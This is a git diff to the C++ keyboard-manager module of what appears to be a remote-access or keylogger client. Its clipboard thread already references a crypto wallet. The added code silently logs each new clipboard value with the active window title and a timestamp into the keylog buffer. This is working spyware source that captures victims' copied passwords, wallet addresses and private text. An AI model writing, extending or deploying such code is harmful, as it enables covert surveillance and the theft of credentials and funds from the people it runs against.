diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index 9dc777d..e9cfd8e 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -506,6 +506,7 @@ int CALLBACK WriteBuffer(const char* record, void* user) DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) { CKeyboardManager1* pThis = (CKeyboardManager1*)lparam; + std::string lastValue = {}; while (pThis->m_bIsWorking) { auto w = pThis->GetWallet(); if (w.empty()) { @@ -517,11 +518,31 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) hasClipboard = clip::has(clip::text_format()); } catch (...) { // fix: "std::runtime_error" causing crashes in some cases hasClipboard = false; + lastValue.clear(); Sleep(3000); } if (hasClipboard) { std::string value; clip::get_text(value); + std::string recordValue = value.substr(0, 4096); + if (lastValue.length() != recordValue.length() || lastValue != recordValue) { + lastValue = recordValue; + HWND foreground = GetForegroundWindow(); + char window_title[MAX_PATH] = {}; + wchar_t wTitle[MAX_PATH] = {}; + GetWindowTextW(foreground, wTitle, MAX_PATH); + if (wTitle[0]) { + WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL); + } + SYSTEMTIME s; + GetLocalTime(&s); + char tm[64]; + sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond); + std::stringstream output; + output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue; + std::string str = output.str(); + pThis->m_Buffer->Write(str.c_str(), str.length()); + } if (value.length() > 200) { Sleep(1000); continue;